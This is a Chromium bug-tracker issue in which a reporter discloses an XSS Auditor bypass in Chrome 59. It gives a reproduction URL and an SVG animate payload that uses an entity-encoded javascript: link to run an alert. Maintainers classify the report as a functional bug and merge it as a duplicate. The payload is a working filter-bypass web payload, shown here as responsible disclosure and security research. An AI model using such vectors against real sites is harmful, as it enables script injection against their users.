New issue
Advanced search Search tips

Issue 738017 link

Starred by 2 users

Issue metadata

Status: Duplicate
Merged: issue 517547
Owner:
Closed: Aug 2017
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux
Pri: 2
Type: Bug



Sign in to add a comment

XSS Auditor bypass with encoded entity link + SVG animations

Reported by vivekc...@gmail.com, Jun 29 2017

Issue description

UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.109 Safari/537.36

Steps to reproduce the problem:
This is related to https://bugs.chromium.org/p/chromium/issues/detail?id=709365 which seems to be fixed now in Chrome 59 stable. 
But, I am able to reproduce it with by encoding any entity.

User-Agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.109 Safari/537.36

Steps to reproduce the problem:
1. Go to https://vulnerabledoma.in/char_test?body=https://vulnerabledoma.in/bypass/text?q=%3Csvg%20height%3D%271000%27%20width%3D%272000%27%3E%3Canimate%20href%3D%23unix_root%20attributeName%3Dhref%20values%3D%27%26%23106%3Bavascript%3Aalert%60%23unix_root%60%27%2F%3E%3Ca%20id%3Dunix_root%3E%3Ccircle%20r%3D2000%3E (Using same link with different payload)
2. Click the black square. JavaScript is run.

The vector is:
<svg height='1000' width='2000'><animate href=#unix_root attributeName=href values='&#106;avascript:alert`#unix_root`'/><a id=unix_root><circle r=2000>

What is the expected behavior?
It should be blocked by XSS Auditor

What went wrong?
It is not blocked by XSS Auditor

Did this work before? N/A 

Chrome version: 59.0.3071.109  Channel: stable
OS Version: Ubuntu 16.04
Flash Version:
 
Components: Blink>SecurityFeature>XSSAuditor
Labels: -Type-Bug-Security -Restrict-View-SecurityTeam Type-Bug
Status: Untriaged (was: Unconfirmed)
Summary: XSS Auditor bypass with encoded entity link + SVG animations (was: XSS Auditor bypass with link + SVG animations)
Thanks for the report!

XSS Auditor issues are tracked as functional issues, not security vulnerabilities: https://dev.chromium.org/Home/chromium-security/security-faq#TOC-Are-XSS-filter-bypasses-considered-security-bugs-

Comment 2 by mkwst@chromium.org, Aug 1 2017

Owner: tsepez@chromium.org
Status: Assigned (was: Untriaged)
Is this similar to the one you fixed a week or three ago, Tom?
No, this is probably a new one.  SVG animations introduce another level of splitting/parsing attributes, and we've had trouble here before.
Mergedinto: 517547
Status: Duplicate (was: Assigned)
Its an old one, just not the old one fixed a week or three ago.  Still trouble.
How's this a duplicate? Btw, I have no access to view 517547.
Underlying  issue 517547  still unresolved.

Sign in to add a comment